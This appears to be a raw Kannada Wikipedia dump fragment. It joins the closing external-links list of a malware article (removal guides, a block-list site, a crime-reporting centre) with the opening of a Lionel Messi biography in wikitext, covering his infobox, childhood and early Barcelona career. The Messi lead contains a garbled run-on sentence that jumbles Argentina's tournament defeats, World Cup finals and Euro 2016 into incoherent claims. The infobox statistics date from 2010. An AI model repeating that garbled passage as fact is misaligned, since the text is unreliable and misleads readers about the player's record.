ಐಡೆಂಟಿಟಿ ಥೇಫ್ಟ್ ಟೆಕ್ನಾಲಜಿ ಕೌನ್ಸಿಲ್ ರಿಪೋರ್ಟ್ "ದಿ ಕ್ರೈಮ್‌ವೇರ್ ಲ್ಯಾಂಡ್‌ಸ್ಕೇಪ್: ಮಾಲ್‌ವೇರ್, ಪಿಶಿಂಗ್, ಐಡೆಂಟಿಟಿ ಥೇಫ್ಟ್ ಆ‍ಯ್‌೦ಡ್ ಬಿಯಾಂಡ್"]{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }} * [http://www.microsoft.com/emea/itsshowtime/sessionh.aspx?videoid=359 ವಿಡಿಯೊ: ಮಾರ್ಕ್ ರುಸ್ಸಿನ್‌ವಿಚ್ - ಅಡ್ವಾನ್ಸ್‌ಡ್‌ ಮಾಲ್‌ವೇರ್ ಕ್ಲೀನಿಂಗ್] * [http://www.daemon.be/maarten/targetedattacks.html ಮಾಲ್‌ವೇರ್‌ ಬಳಕೆಯನ್ನು ಗುರಿಯಾಗಿಸಿಕೊಂಡ ಧಾಳಿಗಳ ವಿಶ್ಲೇಷಣೆ] * [http://www.geekstogo.com/forum/Malware-Removal-Guides-Tutorials-f121.html ಮಾಲ್‌ವೇರ್ ರಿಮೋವಲ್ ಮಾರ್ಗದರ್ಶಿ ಮತ್ತು ಬೋಧನೆ] * [http://news.bbc.co.uk/2/hi/technology/7232752.stm ಮಾಲಿಷಿಯಸ್ ಪ್ರೊಗ್ರಾಮ್ಸ್ ಹಿಟ್ ನ್ಯೂ ಹೈ] -ಮರುಸಂಪಾದನೆ ಫೆಬ್ರುವರಿ 8, 2008 * [http://www.malware.com.br ಮಾಲ್‌ವೇರ್ ಬ್ಲಾಕ್ ಲಿಸ್ಟ್] * [http://datalossdb.org/ ಓಪನ್ ಸೆಕ್ಯುರಿಟಿ ಫೌಂಡೇಷನ್ ಡೇಟಾ ಲಾಸ್ ಡೇಟಾಬೇಸ್ ] {{Webarchive|url=https://www.webcitation.org/64jf0AQpe?url=http://datalossdb.org/ |date=2012-01-16 }} * [http://www.ic3.gov/default.aspx/ ಅಂತರ್‌ಜಾಲ ಅಪರಾಧ ದೂರು ನೀಡುವ ಕೇಂದ್ರ] {{Webarchive|url=https://web.archive.org/web/20100710082722/http://www.ic3.gov/default.aspx |date=2010-07-10 }} {{Botnets}} [[ವರ್ಗ:ಮಾಲ್‌ವೇರ್‌]] [[ವರ್ಗ:ಗಣಕ ವಿಜ್ಞಾನ]] mms34t3x3zy1tl29eymz5g984sv1qiw ಲಿಯೊನೆಲ್‌ ಮೆಸ್ಸಿ 0 22451 1116441 1065171 2022-08-23T12:35:56Z InternetArchiveBot 69876 Rescuing 3 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Infobox Football biography 2 | playername = Lionel Messi | image = [[ಚಿತ್ರ:Messi_Training.jpg|250px]] | fullname = Lionel Andrés Messi<!-- Not Cuccitini --><ref name="profile"/><ref>{{cite web | url = http://www.soccerway.com/players/lionel-andres-messi/119/ | title = Lionel Andrés Messi at Soccerway | accessdate = 2009-06-14 | publisher = Soccerway}}</ref> | dateofbirth = {{birth date and age|df=y|1987|6|24}} | cityofbirth = [[Rosario]] | countryofbirth = [[Argentina]] | height = {{convert|1.69|m|0|abbr=on}}<ref name="profile">{{cite web | url = http://www.fcbarcelona.com/web/english/futbol/temporada_07-08/plantilla/jugadors/messi.html | title = Lionel Andrés Messi | accessdate = 2008-05-03 | publisher = fcbarcelona.com}}</ref> | currentclub = [[FC Barcelona|Barcelona]] | clubnumber = 10 | position = [[Midfielder#Winger|Winger]] / [[Forward (association football)|Striker]] | youthyears1 = 1995–2000 | youthyears2 = 2000–2004 | youthclubs1 = [[Newell's Old Boys]] | youthclubs2 = [[FC Barcelona|Barcelona]] | years1 = 2004–2005 | clubs1 = [[FC Barcelona Atlètic|Barcelona B]] | caps1 = 5 | goals1 = 0 | years2 = 2004– | clubs2 = [[FC Barcelona|Barcelona]] | caps2 = 304<!--LEAGUE APPS ONLY --> | goals2 = 275<!--LEAGUE GOALS ONLY --> | nationalyears1 = 2005 | nationalyears2 = 2008 | nationalyears3 = 2005– | nationalteam1 = [[Argentina national under-20 football team|Argentina U20]] | nationalteam2 = [[Argentina Olympic football team|Argentina U23]] | nationalteam3 = [[Argentina national football team|Argentina]] | nationalcaps1 = 7 | nationalgoals1 = 6 | nationalcaps2 = 5 | nationalgoals2 = 2 | nationalcaps3 = 97 | nationalgoals3 = 45 | medaltemplates = {{MedalCountry|{{ARG}}}} {{MedalSport | Men's [[Football at the Summer Olympics|Football]]}} {{MedalGold | [[2008 Summer Olympics|2008 Beijing]] | [[Football at the 2008 Summer Olympics - Men's tournament|Team Competition]]}} | pcupdate = 30 January 2010 | ntupdate = 14 November 2009 }} '''ಲಿಯೋನೆಲ್ ಆಂಡ್ರೇಸ್ ಮೆಸ್ಸಿ''' ({{IPA-es|ljoˈnel anˈdɾes ˈmesi}};ಜನನ 24 ಜೂನ್ 1987) [[ಅರ್ಜಂಟೀನಾ]] ಫುಟ್ಬಾಲ್ ಆಟಗಾರ. ಈತ ಸದ್ಯಕ್ಕೆ [[ಬಾರ್ಸಿಲೋನಾ]] ದ [[ಲಾ ಲಿಗಾ]] ತಂಡಕ್ಕೆ ಮತ್ತು [[ಅರ್ಜೇಂಟೀನ ರಾಷ್ಟ್ರೀಯ ತಂಡ]]ಕ್ಕೆ ಆಟವಾಡುತ್ತಾನೆ. ಮೆಸ್ಸಿಯನ್ನು ಅವನ ಪೀಳಿಗೆಯ ಅತ್ಯುತ್ತಮ ಫುಟ್ಬಾಲ್ ಆಟಗಾರರಲ್ಲಿ ಒಬ್ಬನೆಂದು ಪರಿಗಣಿಸಲಾಗಿದೆ<ref>{{cite news | last = Broadbent | first = Rick | date = 2006-02-24 | url = http://www.timesonline.co.uk/tol/sport/football/european_football/article734407.ece | title = Messi could be focal point for new generation | publisher = ''Times Online'' | accessdate = 2009-03-31}}</ref><ref>{{cite news | last = Gordon | first = Phil | date = 2008-07-28 | url = http://www.timesonline.co.uk/tol/sport/football/scotland/article4412665.ece | title = Lionel Messi proves a class apart | publisher = ''Times Online'' | accessdate = 2009-03-31}}</ref><ref>{{cite news | last = Williams | first = Richard | date = 2008-04-24 | url = https://www.theguardian.com/sport/blog/2008/apr/24/ronaldosspotofanguishmessi?commentpage=2 | title = Messi's dazzling footwork leaves an indelible mark | publisher = ''The Guardian'' | accessdate = 2009-03-31}}</ref>. ಇವನು ಹಲವಾರು [[Ballon d'Or (ಚಿನ್ನದ ಚೆಂಡು]])ಪ್ರಶಸ್ತಿಯ ಜೊತೆಗೆ [[FIFA ವರ್ಷದ ವಿಶ್ವ ಆಟಗಾರ]] ಎಂದು 21ನೇ ವಯಸ್ಸಿಗೆ ನಾಮನಿರ್ದೇಶನಗೊಂಡಿದ್ದಾನೆ.<ref>{{cite news | url = http://www.rsssf.com/miscellaneous/europa-poy.html | title = European Footballer of the Year ("Ballon d'Or") | publisher = RSSSF | accessdate = 2009-07-07}}</ref><ref name="Gala 2008">{{cite news | url = http://es.fifa.com/mm/document/classic/awards/99/15/28/resultsmenforfifa.combyplayer.pdf | title = FIFA World Player Gala 2008 | publisher = FIFA | accessdate = 2009-07-07 | archive-date = 2019-05-15 | archive-url = https://web.archive.org/web/20190515125420/https://es.fifa.com/mm/document/classic/awards/99/15/28/resultsmenforfifa.combyplayer.pdf | url-status = dead }}</ref><ref>{{cite news | url = http://www.fifa.com/mm/document/classic/awards/finalmenbyplayer_32209.pdf | title = FIFA World Player Gala 2007 | publisher = FIFA | accessdate = 2009-07-07 | archive-date = 2011-07-21 | archive-url = https://web.archive.org/web/20110721205354/http://www.fifa.com/mm/document/classic/awards/finalmenbyplayer_32209.pdf | url-status = dead }}</ref> ಅವನ ಆಟದ ಶೈಲಿ ಹಾಗು ಸಾಮರ್ಥ್ಯವು ಫುಟ್ಬಾಲ್ ನ ದಂತಕಥೆ [[ಡೀಗೋ ಮರಡೋನ]]ನ ಆಟದ ಶೈಲಿಯನ್ನು ಹೋಲುತ್ತದೆ, ಮರಡೋನ ಮೆಸ್ಸಿಯನ್ನು ತನ್ನ "ಉತ್ತರಾಧಿಕಾರಿ" ಎಂದು ಸ್ವತಃ ಘೋಷಿಸಿದ್ದಾನೆ.<ref>{{cite news | last = Gardner | first = Neil | date = 2007-04-19 | url = http://www.timesonline.co.uk/tol/sport/football/article1676692.ece | title = Is Messi the new Maradona? | publisher = ''Times Online'' | accessdate = 2009-03-31}}</ref><ref>{{cite news|url=http://www.chinadaily.com.cn/english/doc/2006-02/25/content_523966.htm|title=Maradona proclaims Messi as his successor|author=Reuters|publisher=''China Daily''|date=2006-02-25|accessdate=2006-10-08}}</ref> ಮೆಸ್ಸಿ ಚಿಕ್ಕ ವಯಸ್ಸಿನಲ್ಲೇ ಫುಟ್ಬಾಲ್ ಆಡಲು ಪ್ರಾರಂಭಿಸಿದ ಮತ್ತು ಅವನ ಸಾಮರ್ಥ್ಯವನ್ನು ಬಾರ್ಸಿಲೋನಾ ಬೇಗನೆ ಗುರುತಿಸಿತು. ಅವನು 2000ದಲ್ಲಿ [[ರೊಸಾರಿಯೋ]]-ಮೂಲದ [[ನೆವೆಲ್'ಸ್ ಓಲ್ಡ್ ಬಾಯ್'ಸ್]] ಯುವ ತಂಡವನ್ನು ತೊರೆದು ತನ್ನ ಕುಟುಂಬದ ಜೊತೆಗೆ ಯುರೋಪ್‌ಗೆ ವಲಸೆ ಹೋದ. ಬಾರ್ಸಿಲೋನಾ ಅವನ [[ಬೆಳವಣಿಗೆಯ ಹಾರ್ಮೋನ್ ಕೊರತೆ]]ಗೆ ಚಿಕಿತ್ಸೆಯನ್ನು ಕೊಡಿಸುವ ಪ್ರಸ್ತಾಪ ಮುಂದಿರಿಸಿತು. ತನ್ನ ಮೊದಲ ಪ್ರದರ್ಶನವನ್ನು [[2004-05ರ ಕ್ರೀಡಾಋತು]]ವಿನಲ್ಲಿ ನೀಡಿದ. ಒಂದು ಲೀಗ್ ಪಂದ್ಯದಲ್ಲಿ ಆಡಿದ ಅತಿ ಕಿರಿಯ ಫುಟ್ಬಾಲ್ ಆಟಗಾರ ಎಂದು [[ಲಾ ಲಿಗಾ ದಾಖಲೆ]] ಮುರಿಯುವುದರ ಜೊತೆಗೆ ಈತ ಪಂದ್ಯದಲ್ಲಿ ಲೀಗ್ ಗೋಲು ಹೊಡೆದ ಅತ್ಯಂತ ಕಿರಿಯ. ಮೆಸ್ಸಿಯ ಚೊಚ್ಚಲ ಕ್ರೀಡಾಋತುವಿನಲ್ಲಿ ಬಾರ್ಸಿಲೋನಾ ಲಾ ಲಿಗಾ ಗೆದ್ದಾಗ ಮೆಸ್ಸಿಗೆ ಪ್ರಮುಖ ಗೌರವಗಳು ಹಿಂಬಾಲಿಸಿದವು. ಜೊತೆಗೆ ಬಾರ್ಸಿಲೋನಾ ಲೀಗ್‌ನಲ್ಲಿ [[ಡಬಲ್]] ಮತ್ತು 2006ರ [[UEFA ಚಾಂಪಿಯನ್ಸ್ ಲೀಗ್]] ಗೆದ್ದುಕೊಂಡಿತು. ಅವನಿಗೆ ಪ್ರಮುಖ ಪ್ರಗತಿಯನ್ನು ತಂದುಕೊಟ್ಟಿದ್ದು 2006-07ರ ಕ್ರೀಡಾಋತು: ಅವನು [[ಎಲ್ ಕ್ಲಾಸಿಕೊ]] ನಲ್ಲಿ [[ಮೂರು ಗೋಲು]] ಗಳನ್ನು ಗಳಿಸಿ ಜೊತೆಗೆ 26 ಲೀಗ್ ಪಂದ್ಯಗಳಲ್ಲಿ 14 ಗೋಲು‌ಗಳೊಂದಿಗೆ ಗುರಿ ಮುಟ್ಟಿ [[ಮೊದಲ ತಂಡ]]ದ ಕಾಯಂ ಆಟಗಾರನಾದ. ಬಹುಶಃ [[2008-09ರ ಕ್ರೀಡಾಋತು]] ಅವನ ಪಾಲಿಗೆ ಅತ್ಯಂತ ಯಶಸ್ವಿಯಾಗಿತ್ತು. ಇದರಲ್ಲಿ ಮೆಸ್ಸಿ 38 ಗೋಲುಗಳನ್ನು ಗಳಿಸುವ ಮೂಲಕ [[ತ್ರಿವಳಿ]] ಟ್ರೋಫಿಗಳ ಜಯದ ಅಭಿಯಾನದ ಅವಿಭಾಜ್ಯ ಅಂಗವಾಗಿದ್ದ. ಮೆಸ್ಸಿ ಆರು ಗೋಲು ಗಳಿಸುವುದರೊಂದಿಗೆ ಅಗ್ರ ಸ್ಥಾನ ಗಳಿಸಿದ. ಇದರಲ್ಲಿ [[2005ರ FIFA ವಿಶ್ವ ಯುವ ಚಾಂಪಿಯನ್ ಶಿಪ್]] ನ ಕಡೆಯ ಪಂದ್ಯದಲ್ಲಿ ಎರಡು ಗೋಲು ಗಳಿಸಿದ. ಇದಾದ ಸ್ವಲ್ಪ ಸಮಯದಲ್ಲೇ, ಅವನು ಅರ್ಜಂಟೀನಾದ ಸೀನಿಯರ್ ಅಂತಾರಾಷ್ಟ್ರೀಯ ತಂಡದಲ್ಲಿ ಒಬ್ಬ ಸ್ಥಾಪಿತ ಸದಸ್ಯನಾದ. ಇವನು 2006ರಲ್ಲಿ ಅರ್ಜಂಟೀನಾ ಪರ [[FIFA ವಿಶ್ವ ಕಪ್]] ನಲ್ಲಿ ಆಡಿದ ಅತಿ ಕಿರಿಯ ಆಟಗಾರನೆನಿಸಿಕೊಂಡ ಜೊತೆಗೆ ಮರು ವರ್ಷವೇ [[ಕೊಪಾ ಅಮೆರಿಕಾ]] ಪಂದ್ಯಾವಳಿಯಲ್ಲಿ ರನ್ನರ್ಸ್‌-ಅಪ್ ಪದಕವನ್ನು ಗೆದ್ದುಕೊಂಡ. ಇವನು [[೨೦೦೮]]ರ [[ಬೀಜಿಂಗ್]] ಒಲಂಪಿಕ್ ಪಂದ್ಯಾವಳಿಗಳಲ್ಲಿ[[ಅರ್ಜೆಂಟಿನಾದ ಒಲಂಪಿಕ್ ಫುಟ್ಬಾಲ್ ತಂಡ]]ದ ಪರವಾಗಿ [[ಒಲಂಪಿಕ್]] ಚಿನ್ನದ ಪದಕ ಗೆಲ್ಲುವುದರೊಂದಿಗೆ ಮೊದಲ ಅಂತಾರಾಷ್ಟ್ರೀಯ ಗೌರವಕ್ಕೆ ಪಾತ್ರನಾದ. ಮತ್ತು ಅರ್ಜೆಂಟೀನಾ ರಾಷ್ಟ್ರೀಯ ಫುಟ್ಬಾಲ್ ತಂಡದೊಂದಿಗೆ ಅರ್ಜೆಂಟೀನಾದ ಅತ್ಯಂತ ಸೋತ ಪಾತ್ರವು 2008 ರಲ್ಲಿ ಬ್ರೆಜಿಲ್ನೊಂದಿಗೆ ಮೂರು ಕೋಪಾ ಅಮೆರಿಕವನ್ನು ಕಳೆದುಕೊಂಡಿತು 2014 ರ ವಿಶ್ವಕಪ್ ಫೈನಲ್‌ನಲ್ಲಿ ಜರ್ಮನಿ ವಿರುದ್ಧ ಚಿಲಿ 2015 ಮತ್ತು 2016 ರಲ್ಲಿ ಮುಂದಿನ ವರ್ಷದಲ್ಲಿ ಫ್ರಾನ್ಸ್ ಕ್ವಾರ್ಟರ್‌ಫೈನಲ್‌ನಲ್ಲಿ ಸೋಲಿಸಿತು 2018 ರಲ್ಲಿ ರಷ್ಯಾದ ವಿಶ್ವಕಪ್‌ನ ಅಂತಿಮ ವಿಜೇತರು ಗೋಲುಗಳ ಮಟ್ಟದಲ್ಲಿ ಅಂತಿಮ ಹಂತಗಳಲ್ಲಿ ನಿರಾಶಾದಾಯಕ ಸ್ಕೋರ್ 16 ರ ಸುತ್ತಿನಿಂದ ವಿಶ್ವ ಚಾಂಪಿಯನ್‌ಶಿಪ್‌ಗಳ ಫೈನಲ್‌ವರೆಗೆ ಇದುವರೆಗೆ ಗುಂಪು ಹಂತಗಳಲ್ಲಿ ಮಾತ್ರ ಎದುರಾಳಿ ರೊನಾಲ್ಡೊ ತಂಡದೊಂದಿಗೆ ಫ್ರಾನ್ಸ್‌ನಲ್ಲಿ 2016 ರ ಯುರೋಪಿಯನ್ನರನ್ನು ಗೆದ್ದಿದ್ದಾರೆ ಫ್ರೆಂಚ್ ಟ್ರಾನ್ಸ್ ಆಲ್ಪೈನ್. == ಬಾಲ್ಯ ಜೀವನ == ಮೆಸ್ಸಿ 24 ಜೂನ್ 1987ರಲ್ಲಿ [[ಅರ್ಜಂಟೀನಾ]]ದ [[ರೊಸಾರಿಯೊ]]ದಲ್ಲಿ ಜನಿಸಿದ. ತಂದೆ ಜೋರ್ಗ್ ಮೆಸ್ಸಿ, ಒಬ್ಬ [[ಕಾರ್ಖಾನೆ ಕೆಲಸಗಾರ]], ಮತ್ತು ತಾಯಿ ಸೆಲಿಯ (ಅಲಿಯಾಸ್ ಕುಚ್ಸಿತಿನಿ), ಒಬ್ಬ ಅರೆ-ಕಾಲಿಕ [[ಕ್ಲೀನರ್]].<ref>{{cite web | url = http://www.pagina12.com.ar/diario/deportes/8-121094-2009-03-07.html | last = Veiga | first = Gustavo | publisher = ''Página/12'' | title = Los intereses de Messi | accessdate = 2009-05-31|language= Spanish}}</ref><ref name="mission">{{cite web | url = http://www.timesonline.co.uk/tol/sport/football/european_football/article3779961.ece | publisher = ''Times Online'' | title = Lionel Messi on a mission| last = Hawkey | first = Ian | date = 2008-04-20| accessdate = 2009-05-30}}</ref> ಅವನ ತಂದೆಯ ಕುಟುಂಬದ ಮೂಲವು [[ಅಂಕೋನ]] ಎಂಬ [[ಇಟಾಲಿಯನ್]] ನಗರಕ್ಕೆ ಸೇರಿದೆ. ಅಲ್ಲಿ ಅವನ ಪೂರ್ವಜ ಅಂಜೆಲೋ ಮೆಸ್ಸಿ, 1883 ರಲ್ಲಿ ಅರ್ಜಂಟೀನಾಕ್ಕೆ ವಲಸೆ ಬಂದಿದ್ದ.<ref name="El origen de los Messi">{{cite web |url=http://www.aldia.cr/ad_ee/2006/febrero/24/ovacion11.html |title= El origen de los Messi está en Italia |accessdate=2009-07-07 | date=2006-02-24 | publisher=''Al Día'' | last = Aguilar | first = Alexander |language= Spanish}}</ref><ref name="Las raíces italianas de Leo Messi">{{cite web |url=http://hemeroteca.elmundodeportivo.es/preview/2005/10/07/pagina-5/722791/pdf.html |title= Las raíces italianas de Leo Messi |accessdate=2009-07-07 |date = 2005-10-07 |publisher=''El Mundo Deportivo''| last = Cubero | first = Cristina|language= Spanish}}</ref> ಇವನಿಗೆ ರೋಡ್ರಿಗೋ ಮತ್ತು ಮಾಟಿಯಾಸ್ ಎಂಬ ಇಬ್ಬರು ಅಣ್ಣಂದಿರು ಮತ್ತು ಮರಿಯಾ ಸೋಲ್ ಎಂಬ ಸಹೋದರಿ ಇದ್ದಾರೆ.<ref>{{cite web | url = http://www.nbcolympics.com/athletes/athlete=1246/bio/ | publisher = NBC | title = Lionel Messi bio | accessdate = 2009-05-30 | archive-date = 2017-05-13 | archive-url = https://web.archive.org/web/20170513153151/http://www.nbcolympics.com/athletes/athlete=1246/bio | url-status = dead }}</ref> ಮೆಸ್ಸಿ ತನ್ನ ಐದನೆಯ ವರ್ಷದಲ್ಲಿ ಗ್ರಾನ್ಡೋಲಿಗಾಗಿ ಫುಟ್ಬಾಲ್ ಆಡಲು ಪ್ರಾರಂಭಿಸಿದ. ಇದು ಒಂದು ಸ್ಥಳೀಯ ಕ್ರೀಡಾ ಕ್ಲಬ್. ಅದರಲ್ಲಿ ಇವನ ತಂದೆ ಜೋರ್ಗ್ ತರಬೇತುದಾರರಾಗಿದ್ದರು.<ref name="Williams"/> ಮೆಸ್ಸಿ 1995ರಲ್ಲಿ [[ನೆವೆಲ್'ಸ್ ಓಲ್ಡ್ ಬಾಯ್ಸ್]] ತಂಡಕ್ಕೆ ಬದಲಾಯಿಸಿಕೊಂಡ. ಇವರು ಅವನ ತವರು ರೊಸಾರಿಯೋ ನಗರದಲ್ಲಿ ನೆಲೆಗೊಂಡಿತ್ತು.<ref name="Williams">{{cite web | last = Williams | first = Richard | url = https://www.theguardian.com/football/2006/feb/24/championsleague1 | publisher = ''The Guardian'' | title = Messi has all the qualities to take world by storm | accessdate = 2008-05-03 | date = 2006-02-26}}</ref> ಅವನ 11ನೇ ವರ್ಷದಲ್ಲಿ, ಅವನಿಗೆ [[ಹಾರ್ಮೋನ್‌ಗಳ ಬೆಳವಣಿಗೆಯ ಕೊರತೆ]]ಯಿರುವುದನ್ನು ಗುರುತಿಸಲಾಯಿತು.<ref>{{cite news | url = http://www.telegraph.co.uk/sport/football/european/championsleague/5099857/Franck-Ribery-the-man-to-challenge-Lionel-Messi-and-Barcelona.html | title = Franck Ribery the man to challenge Lionel Messi and Barcelona | publisher = ''Daily Telegraph'' | last = White | first = Duncan | date = 2009-04-04 | accessdate = 2009-07-07 | archive-date = 2010-03-23 | archive-url = https://web.archive.org/web/20100323094801/http://www.telegraph.co.uk/sport/football/european/championsleague/5099857/Franck-Ribery-the-man-to-challenge-Lionel-Messi-and-Barcelona.html | url-status = dead }}</ref> [[ಪ್ರೈಮೆರ ಡಿವಿಷನ್]] ಕ್ಲಬ್ [[ರಿವೆರ್ ಪ್ಲೇಟ್]] ಮೆಸ್ಸಿಯ ಪ್ರಗತಿಯ ಬಗ್ಗೆ ಆಸಕ್ತಿ ತೋರಿತು, ಆದರೆ ಚಿಕಿತ್ಸೆಗೆ ಬರಿಸುವಷ್ಟು ಹಣ ಅದರ ಬಳಿ ಇರಲಿಲ್ಲ. ಚಿಕಿತ್ಸೆಗೆ ಪ್ರತಿ ತಿಂಗಳು $900ರಷ್ಟು ಖರ್ಚಾಗುತ್ತಿತ್ತು.<ref name="mission"/> [[ಕಾರ್ಲೆಸ್ ರೆಕ್ಸಚ್]], [[ಬಾರ್ಸಿಲೋನಾ]]ದ ಕ್ರೀಡಾ ಅಧ್ಯಕ್ಷರಿಗೆ, [[ಲೀಡ]], [[ಕ್ಯಾಟಲೋನಿಯ]] ದಲ್ಲಿರುವ ಮೆಸ್ಸಿಯ ಸಂಬಂಧಿಕರು ಮೆಸ್ಸಿಯ ಪ್ರತಿಭೆಯ ಬಗ್ಗೆ ಅರಿವು ಮಾಡಿಕೊಟ್ಟರು. ಮೆಸ್ಸಿ ಮತ್ತು ಅವರ ತಂದೆ ಒಂದು ಪರೀಕ್ಷೆ ವ್ಯವಸ್ಥೆ ಮಾಡುವಲ್ಲಿ ಯಶಸ್ವಿಯಾದರು.<ref name="mission"/> ಬಾರ್ಸಿಲೋನಾ ಅವನ ಆಟವನ್ನು ನೋಡಿ ನಂತರ ಅವನ ಸಹಿ ಪಡೆದುಕೊಂಡಿತು <ref name="fifa.com"/> ಜೊತೆಗೆ ಅವನು [[ಸ್ಪೇನ್]] ಗೆ ಸ್ಥಳಾಂತರಿಸಿದರೆ ಮಾತ್ರ ಅವನ ವೈದ್ಯಕೀಯ ವೆಚ್ಚವನ್ನು ಭರಿಸುವ ಪ್ರಸ್ತಾಪವನ್ನು ಮುಂದಿಟ್ಟಿತು.<ref name="Williams"/> ಅವನ ಕುಟುಂಬವು ಯುರೋಪ್‌ಗೆ ಸ್ಥಳ ಬದಲಾಯಿಸಿತು. ಇವನು ಕ್ಲಬ್‌ನ ಯುವ ತಂಡಗಳಲ್ಲಿ ಆಡಲು ಪ್ರಾರಂಭಿಸಿದ.<ref name="fifa.com">{{cite news |url=http://www.fifa.com/tournaments/archive/tournament=107/edition=248388/news/newsid=103182.html |title=The new messiah |publisher=FIFA |date=2006-03-05 |accessdate=2006-07-25 |archive-date=2013-12-25 |archive-url=https://web.archive.org/web/20131225005810/http://www.fifa.com/tournaments/archive/tournament=107/edition=248388/news/newsid=103182.html |url-status=dead }}</ref> == ಕ್ಲಬ್ ವೃತ್ತಿ == === ಬಾರ್ಸಿಲೋನಾ === ಮೆಸ್ಸಿ ಅನಧಿಕೃತವಾಗಿ ಮೊದಲ ತಂಡದಲ್ಲಿ ತನ್ನ ಚೊಚ್ಚಲ ಪ್ರವೇಶ ನವೆಂಬರ್ 16, 2003ರಂದು(ಆಗ ಅವನಿಗೆ 16 ವರ್ಷ 145 ದಿನಗಳು) [[ಪೋರ್ಟೊ]] ವಿರುದ್ಧದ ಒಂದು [[ಸೌಹಾರ್ದ ಪಂದ್ಯ]]ದಲ್ಲಿ ಮಾಡಿದ.<ref name="footballdb"/><ref>{{cite news|url=http://edition.cnn.com/2009/SPORT/football/05/22/messi.football.best.world/index.html|title=Profile: Lionel Messi|author=Tutton, Mark and Duke, Greg|publisher=CNN|date=2009-05-22|accessdate=2009-05-30}}</ref> ಒಂದು ವರ್ಷಕ್ಕೂ ಕಡಿಮೆ ಅವಧಿಯ ನಂತರ,[[ಫ್ರಾಂಕ್ ರಿಜ್ಕಾರ್ಡ್]] ಅವನನ್ನು 16 ಅಕ್ಟೋಬರ್ 2004ರ [[ಎಸ್ಪಾನ್ಯೋಲ್]] ವಿರುದ್ಧದ ಲೀಗ್ ಚೊಚ್ಚಲ ಪ್ರದರ್ಶನದಲ್ಲಿ ಆಡಲು ಅವಕಾಶ ಮಾಡಿಕೊಟ್ಟ ( ಆಗ ಅವನ ವಯಸ್ಸು 17 ವರ್ಷ 114 ದಿನಗಳು). ಬಾರ್ಸಿಲೋನಾ ತಂಡಕ್ಕೆ ಆಡಿದ ಮೂರನೇ ಅತ್ಯಂತ ಕಿರಿಯ ಆಟಗಾರ ಜೊತೆಗೆ [[ಲಾ ಲಿಗಾ]] ಕ್ಕೆ ಆಡಿದ ಅತ್ಯಂತ ಕಿರಿಯ ಕ್ಲಬ್ ಆಟಗಾರ( ಈ ದಾಖಲೆಯನ್ನು ಸೆಪ್ಟೆಂಬರ್ 2007ರಲ್ಲಿ ಅವನ ತಂಡದ ಸಹ ಆಟಗಾರ [[ಬೋಜನ್ ಕ್ರಿಕ್]] ಮುರಿದ).<ref name="profile"/><ref name="footballdb"/> ಅವನು ಕ್ಲಬ್ ಗಾಗಿ ತನ್ನ ಮೊದಲ ಗೋಲನ್ನು [[ಅಲ್ಬಸೆಟ್]] ವಿರುದ್ಧದ ಪಂದ್ಯದಲ್ಲಿ ಮೇ 1, 2005ರಲ್ಲಿ ಗಳಿಸಿದಾಗ, ಮೆಸ್ಸಿಯ ವಯಸ್ಸು 17 ವರ್ಷ, 10 ತಿಂಗಳು ಮತ್ತು 7 ದಿನ. ಲಾ ಲಿಗಾ ಪಂದ್ಯಕ್ಕೆ 2007ರ ತನಕ ಬಾರ್ಸಿಲೋನಾ<ref>{{cite web | url = http://www.fcbarcelona.com/web/english/noticies/futbol/temporada07-08/10/n071016101878.html | title = Meteoric rise in three years | accessdate = 2008-05-03 | publisher = fcbarcelona.com}}</ref> ಪರವಾಗಿ ಗೋಲು ಗಳಿಸಿದ ಅತ್ಯಂತ ಕಿರಿಯನೆನಿಸಿಕೊಂಡಿದ್ದ. ಆದರೆ ಇದನ್ನು ಬೋಜನ್ ಕ್ರ್ಕಿಕ್ ಮೆಸ್ಸಿಯ ಸಹಾಯದೊಂದಿಗೆ ಗೋಲು ಗಳಿಸಿ ದಾಖಲೆ ಮುರಿದ.<ref>{{cite web | url = http://www.fcbarcelona.cat/web/english/noticies/futbol/temporada07-08/10/n071020101276.html | title = Krkic enters the record books | accessdate = 2009-07-16 | date = 2007-10-21 | publisher = fcbarcelona.cat | last = Nogueras | first = Sergi | archive-date = 2011-08-19 | archive-url = https://archive.is/20110819191710/http://www.fcbarcelona.cat/web/english/noticies/futbol/temporada07-08/10/n071020101276.html | url-status = dead }}</ref> ಮೆಸ್ಸಿ ತನ್ನ ಮಾಜಿ-ತರಬೇತುದಾರ [[ಫ್ರಾಂಕ್ ರಿಜ್ಕಾರ್ಡ್]] ಬಗ್ಗೆ ಹೇಳುತ್ತಾನೆ: " ''ರಿಜ್ಕಾರ್ಡ್ ನನ್ನನ್ನು ಬೆಳಕಿಗೆ ತಂದದ್ದನ್ನು ನಾನು ಎಂದಿಗೂ ಮರೆಯುವುದಿಲ್ಲ. '' ''ನಾನು ಕೇವಲ ಹದಿನಾರು, ಹದಿನೇಳು ವರ್ಷದವನಾಗಿದ್ದಾಗ ನನ್ನಲ್ಲಿ ಅವರು ಭರವಸೆಯನ್ನು ತುಂಬಿದರು."'' <ref>{{cite web | url = http://www.goal.com/nl/news/545/spanje/2009/12/10/1679579/messi-rijkaard-gaf-ons-meer-vrijheid | title = Messi: "Rijkaard gave us more freedom" | accessdate = 2009-12-10 | date= 2007-12-10| publisher = Goal.com}}</ref> ==== 2005–06ರ ಕ್ರೀಡಾಋತು ==== {{Quote box | width=30% | align=right | quote= "Messi I think is like me, he is the best in the world along with [[Ronaldinho]]."|source= <small>[[Diego Maradona]].<ref>{{cite news|url=http://www.manutd.com/default.sps?pagegid={83A644F4-1A7E-48B9-AF95-4605613A9A18}&newsid=232152&page=2|title=Funnies: McCarthy's Language Barriers|last = Bartram | first = Steve |publisher=ManUtd.com|date=2005-08-31|accessdate=2009-06-12}}</ref> </small> }} ಸೆಪ್ಟೆಂಬರ್ 16ರಂದು, ಮೂರು ತಿಂಗಳುಗಳಲ್ಲಿ ಎರಡು ಬಾರಿ, ಬಾರ್ಸಿಲೋನಾ ಮೆಸ್ಸಿಯ ಜೊತೆ ತನ್ನ ಒಪ್ಪಂದವನ್ನು ನವೀಕರಿಸಿತು - ಈ ಬಾರಿ ಅವನಿಗೆ ಮೊದಲ ತಂಡದ ಆಟಗಾರರ ರೀತಿ ಸಂಬಳದಲ್ಲಿ ಸುಧಾರಣೆ ಮಾಡಿತು ಜೊತೆಗೆ ಒಪ್ಪಂದವನ್ನು ಜೂನ್ 2014 ರವರೆಗೂ ವಿಸ್ತರಿಸಿತು.<ref 